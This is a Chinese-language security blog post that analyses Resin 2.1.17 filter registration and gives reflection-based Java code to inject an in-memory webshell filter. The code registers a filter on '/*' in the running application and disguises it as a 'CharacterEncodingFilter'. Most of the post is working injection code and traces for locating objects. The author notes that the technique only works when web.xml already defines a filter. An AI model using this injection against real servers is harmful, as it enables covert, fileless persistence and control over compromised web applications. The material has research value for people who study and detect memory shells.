Java安全之Resin2內存馬

Java安全之Resin2內存馬

環境

resin2.1.17

添加Filter分析

依然是web.xml註冊一個filter,debug進去看註冊流程

debug dofilter邏輯時看到如下代碼,最終走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。並且貌似是初始化的時候才會去buildfilterchain,當後面第二次再走時,這裡的_filterchain已經是有值的了。

this._application應為上下文對象,繼續往下跟通過QFilterConfig#createFilter來創建了一個Filter,之後new 了一個FilterChain

注意下面三個對象,添加上即可

_filterMap

首先看FilterMap構造,主要是Regexp,QFilterConfig後面再說

可以反射實例化之後調用方法或者set屬性來設置值

class FilterMap {
    static L10N L;
    private String servletName;
    private Regexp regexp;
    private Object data;

    FilterMap() {
    }

    void setServletName(String servletName) {
        this.servletName = servletName;
    }

    void setRegexp(String regexpPattern, String flags) throws Exception {
        this.regexp = new Regexp(regexpPattern, flags);
    }

    void setURLPattern(String urlPattern, String flags) throws ServletException {
        this.regexp = this.urlPatternToRegexp(urlPattern, flags);
    }

下面看Regexp ,其實就是一個正則來控制的路由處理

^.*$
^(?=/)|^$

調用有參構造即可

_filters

hashtable對象,key為filtername,value為QFilterConfig對象,key可以隨便偽造成個正常的

_filterList

直接add一個QFilterConfig元素即可

看到QConfigFilter,Registry為空就走if的邏輯,傳入構造好的屬性即可

package com.caucho.server.http;

import com.caucho.util.BeanUtil;
import com.caucho.util.CauchoSystem;
import com.caucho.util.L10N;
import com.caucho.util.RegistryNode;
import java.util.Collections;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;

class QFilterConfig implements FilterConfig {
    static L10N L;
    private static HashMap _configElements;
    private Application _application;
    private RegistryNode _registry;
    private RegistryNode _initRegistry;
    private String _name;
    private String _className;
    private HashMap _init;
    private Filter _filter;

    QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
        this._application = application;
        this._registry = registry;
        this._name = name;
        this._init = new HashMap();
        if (registry == null) {
            if (defaultClassName == null) {
                this._className = name;
            } else {
                this._className = defaultClassName;
            }

        } else {
            this._className = registry.getString("filter-class", defaultClassName);
            Iterator iter = registry.iterator();

            while(iter.hasNext()) {
                RegistryNode node = (RegistryNode)iter.next();
                if (node.getName().equals("init-param")) {
                    try {
                        application.fillParam(node, this._init);
                    } catch (ServletException var8) {
                        throw var8;
                    } catch (Exception var9) {
                        throw new ServletException(var9);
                    }
                } else if (node.getName().equals("init")) {
                    this._initRegistry = node;
                } else if (_configElements.get(node.getName()) == null) {
                    throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
                }
            }

        }
    }

後面就是用c0ny1師傅的java-object-searcher工具挖掘Application和Request在當前線程上下文的位置即可。

//設置搜索類型包含ServletRequest,RequstGroup,Request...等關鍵字的對象
List<Keyword> keys = new ArrayList();
keys.add(new Keyword.Builder().setField_type("Request").build());
keys.add(new Keyword.Builder().setField_type("Application").build());
//新建一個廣度優先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打開調試模式
searcher.setIs_debug(true);
//挖掘深度為20
searcher.setMax_search_depth(20);
//設置報告保存位置
searcher.setReport_save_path("/tmp/");
searcher.searchObject();

result

# Request
TargetObject = {java.lang.Thread} 
  ---> target = {com.caucho.server.TcpConnection} 
   ---> request = {com.caucho.server.http.HttpRequest}

        
# Application        
TargetObject = {java.lang.Thread} 
  ---> contextClassLoader = {com.caucho.java.CompilingClassLoader} 
       ---> attributes = {java.util.Hashtable} 
         ---> attributes = {com.caucho.server.http.Application}

後面直接添加即可

主要代碼

    private static void doInject(){
        filterName = "CharacterEncodingFilter-" + System.nanoTime();
        try {
            if (APPLICATION !=null){

                // Regexp
//                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
//                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
//                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");

                // QFilterConfig
                Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
                Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
                QFilterConfigConstructor.setAccessible(true);
                Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);

                // FilterMap
                Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
                Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
                filterMapConstructor.setAccessible(true);
                Object filterMap = filterMapConstructor.newInstance();
                // set FilterMap regexp
                Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
                setRegexpMethod.setAccessible(true);
                setRegexpMethod.invoke(filterMap,"/*", null);

                // set FilterMap data
                Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
                setDataMethod.setAccessible(true);
                setDataMethod.invoke(filterMap,QFilterConfigObj);

                // add FilterMap 2 _filterMap
                ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
                _filterMap.add(filterMap);

                // add QFilterConfig 2 _filterList
                ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
                _filterList.add(QFilterConfigObj);

                // put QFilterConfig 2 _filters
                Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
                _filters.put(filterName, QFilterConfigObj);

            }


        } catch (Exception e) {

        }

    }

    private static void getApplication(){
        Thread thread = Thread.currentThread();
        ClassLoader contextClassLoader = thread.getContextClassLoader();
        Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
        APPLICATION = attributesObj1.get("caucho.application");
    }

但是有個弊端,debug邏輯的時候發現,只有在當前web.xml中已經存在有filter才能添加進去。暫未解決該問題。

最後

項目遇到的感覺比較有趣且極端的問題,雖然也不是很好的解決方案。